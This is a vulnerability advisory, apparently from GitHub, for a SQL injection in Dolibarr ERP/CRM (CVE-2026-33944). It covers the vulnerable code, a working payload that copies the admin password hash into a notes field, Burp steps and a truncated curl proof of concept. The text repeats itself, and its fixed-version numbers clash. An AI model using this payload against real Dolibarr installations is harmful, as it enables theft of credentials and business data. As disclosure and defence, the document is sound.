CVE-2026-33944

Dolibarr is an open-source enterprise resource planning and customer relationship management application. Prior to 22.0.5 and 23.0.1, there is a SQL injection vulnerability in the Third Party company update functionality. The application concatenates the  localtax1_value  and  localtax2_value  properties into an SQL UPDATE statement without numeric conversion or other appropriate sanitization. An authenticated user with Third Party create or edit permission can submit crafted  lt1  or  lt2  POST parameters to read sensitive database information, including password hashes, API keys, and business data, or modify third-party records. This issue is fixed in versions 22.0.5 and 23.0.2.

Dolibarr is an open-source enterprise resource planning and customer relationship management application. Prior to 22.0.5 and 23.0.1, there is a SQL injection vulnerability in the Third Party company update functionality. The application concatenates the  localtax1_value  and  localtax2_value  properties into an SQL UPDATE statement without numeric conversion or other appropriate sanitization. An authenticated user with Third Party create or edit permission can submit crafted  lt1  or  lt2  POST parameters to read sensitive database information, including password hashes, API keys, and business data, or modify third-party records. This issue is fixed in versions 22.0.5 and 23.0.2.

Summary

A SQL Injection vulnerability exists in the Third Party (Company) update functionality of Dolibarr ERP/CRM. The localtax1_value parameter (lt1) is concatenated directly into an SQL UPDATE statement in societe/class/societe.class.php at line 1672 without any escaping, type casting, or parameterized query binding.

An authenticated user with standard "Third Party: Create/Edit" permission can extract any data from the database, including password hashes, API keys, and all business data.

Tested on Dolibarr v23.0.0 (latest stable), default installation via official Docker image, MariaDB 10.11. No custom modules, no modified configuration.

Details

Vulnerable code (societe/class/societe.class.php, line 1672):

$sql .= ",localtax1_value =".$this->localtax1_value;

The value comes from GETPOST('lt1', 'alpha') (societe/card.php, line 1135). The only sanitization applied is trim() at line 1528 — no (float) cast, no $db->escape().

The alpha input filter strips HTML tags and double quotes but does not strip single quotes, parentheses, commas, or SQL keywords. Since the injection point is in a numeric SQL context (no quotes around the value), the attacker needs none of the filtered characters.

Why the WAF does not block this: Dolibarr's WAF (waf.inc.php) only checks SQL injection patterns in GET parameters, not POST. The POST-based lt1 parameter bypasses it entirely.

The same vulnerability exists for localtax2_value (parameter lt2) at line 1682.

Adjacent fields like localtax1_assuj are properly cast to (int), showing the developers were aware of injection risk but missed these fields.

PoC

Steps to reproduce:

1. Install Dolibarr v23.0.0 (tested with official Docker image, MariaDB 10.11)
2. Log in with a user that has "Third Parties: Create/Edit" permission (standard user, not admin)
3. Create or open any existing Third Party (company) record
4. Click "Edit" on the company card to open the update form
5. Intercept the POST request (e.g., Burp Suite) and add these parameters to the request body:
   • localtax1assuj_value=1
   • lt1=1,note_private=(SELECT pass_crypted FROM llx_user WHERE rowid=1)
6. Submit the form (server responds with HTTP 302 Found — successful update)
7. Navigate to the company's Notes tab — the admin's MD5 password hash is now visible in the "Private Note" field

Verification: echo -n "admin123" | md5sum → 0192023a7bbd73250516f069df18b500 (matches exfiltrated hash).

Figure 1 — Notes tab before exploitation (Private Note field is empty):

<img width="1372" height="822" alt="Notes tab after exploitation — admin password hash exfiltrated" src="https://github.com/user-attachments/assets/d39502c1-bee0-4eae-a82a-40a026299841" />

Figure 2 — Burp Suite Repeater: full POST request headers and HTTP 302 Found response:

<img width="1095" height="732" alt="22" src="https://github.com/user-attachments/assets/86386423-bfa3-45fc-a2a9-9e2d1a1e1899" />

Figure 3 — Burp Suite Repeater: request body with injected localtax1assuj_value=1 and lt1=1,note_private=(SELECT pass_crypted FROM llx_user WHERE rowid=1):

<img width="1095" height="727" alt="33" src="https://github.com/user-attachments/assets/e82e14fc-d8b4-46e7-a507-d11689e254d3" />

Figure 4 — Notes tab after exploitation: Private Note now contains 0192023a7bbd73250516f069df18b500 (MD5 hash of admin password "admin123"):

<img width="1381" height="819" alt="1" src="https://github.com/user-attachments/assets/ca77a120-21b9-4574-b37f-4347930f27aa" />

curl PoC:

curl -b cookies.txt \
  --data-urlencode "action=update" \
  --data-urlencode "token=CSRF_TOKEN" \
  --data-urlencode "socid=1" \
  --data-urlencode "name=TestCompany" \
  --data-urlencode "status=1" \
  --data-urlencode "localtax1assuj_value=1" \
  --data-urlencode…

Dolibarr is an open-source enterprise resource planning and customer relationship management application. Prior to 22.0.5 and 23.0.1, there is a SQL injection vulnerability in the Third Party company update functionality. The application concatenates the  localtax1_value  and  localtax2_value  properties into an SQL UPDATE statement without numeric conversion or other appropriate sanitization. An authenticated user with Third Party create or edit permission can submit crafted  lt1  or  lt2  POST parameters to read sensitive database information, including password hashes, API keys, and business data, or modify third-party records. This issue is fixed in versions 22.0.5 and 23.0.2.

Dolibarr is an open-source enterprise resource planning and customer relationship management application. Prior to 22.0.5 and 23.0.1, there is a SQL injection vulnerability in the Third Party company update functionality. The application concatenates the  localtax1_value  and  localtax2_value  properties into an SQL UPDATE statement without numeric conversion or other appropriate sanitization. An authenticated user with Third Party create or edit permission can submit crafted  lt1  or  lt2  POST parameters to read sensitive database information, including password hashes, API keys, and business data, or modify third-party records. This issue is fixed in versions 22.0.5 and 23.0.2.

Summary

A SQL Injection vulnerability exists in the Third Party (Company) update functionality of Dolibarr ERP/CRM. The localtax1_value parameter (lt1) is concatenated directly into an SQL UPDATE statement in societe/class/societe.class.php at line 1672 without any escaping, type casting, or parameterized query binding.

An authenticated user with standard "Third Party: Create/Edit" permission can extract any data from the database, including password hashes, API keys, and all business data.

Tested on Dolibarr v23.0.0 (latest stable), default installation via official Docker image, MariaDB 10.11. No custom modules, no modified configuration.

Details

Vulnerable code (societe/class/societe.class.php, line 1672):

$sql .= ",localtax1_value =".$this->localtax1_value;

The value comes from GETPOST('lt1', 'alpha') (societe/card.php, line 1135). The only sanitization applied is trim() at line 1528 — no (float) cast, no $db->escape().

The alpha input filter strips HTML tags and double quotes but does not strip single quotes, parentheses, commas, or SQL keywords. Since the injection point is in a numeric SQL context (no quotes around the value), the attacker needs none of the filtered characters.

Why the WAF does not block this: Dolibarr's WAF (waf.inc.php) only checks SQL injection patterns in GET parameters, not POST. The POST-based lt1 parameter bypasses it entirely.

The same vulnerability exists for localtax2_value (parameter lt2) at line 1682.

Adjacent fields like localtax1_assuj are properly cast to (int), showing the developers were aware of injection risk but missed these fields.

PoC

Steps to reproduce:

1. Install Dolibarr v23.0.0 (tested with official Docker image, MariaDB 10.11)
2. Log in with a user that has "Third Parties: Create/Edit" permission (standard user, not admin)
3. Create or open any existing Third Party (company) record
4. Click "Edit" on the company card to open the update form
5. Intercept the POST request (e.g., Burp Suite) and add these parameters to the request body:
   • localtax1assuj_value=1
   • lt1=1,note_private=(SELECT pass_crypted FROM llx_user WHERE rowid=1)
6. Submit the form (server responds with HTTP 302 Found — successful update)
7. Navigate to the company's Notes tab — the admin's MD5 password hash is now visible in the "Private Note" field

Verification: echo -n "admin123" | md5sum → 0192023a7bbd73250516f069df18b500 (matches exfiltrated hash).

Figure 1 — Notes tab before exploitation (Private Note field is empty):

<img width="1372" height="822" alt="Notes tab after exploitation — admin password hash exfiltrated" src="https://github.com/user-attachments/assets/d39502c1-bee0-4eae-a82a-40a026299841" />

Figure 2 — Burp Suite Repeater: full POST request headers and HTTP 302 Found response:

<img width="1095" height="732" alt="22" src="https://github.com/user-attachments/assets/86386423-bfa3-45fc-a2a9-9e2d1a1e1899" />

Figure 3 — Burp Suite Repeater: request body with injected localtax1assuj_value=1 and lt1=1,note_private=(SELECT pass_crypted FROM llx_user WHERE rowid=1):

<img width="1095" height="727" alt="33" src="https://github.com/user-attachments/assets/e82e14fc-d8b4-46e7-a507-d11689e254d3" />

Figure 4 — Notes tab after exploitation: Private Note now contains 0192023a7bbd73250516f069df18b500 (MD5 hash of admin password "admin123"):

<img width="1381" height="819" alt="1" src="https://github.com/user-attachments/assets/ca77a120-21b9-4574-b37f-4347930f27aa" />

curl PoC:

curl -b cookies.txt \
  --data-urlencode "action=update" \
  --data-urlencode "token=CSRF_TOKEN" \
  --data-urlencode "socid=1" \
  --data-urlencode "name=TestCompany" \
  --data-urlencode "status=1" \
  --data-urlencode "localtax1assuj_value=1" \
  --data-urlencode…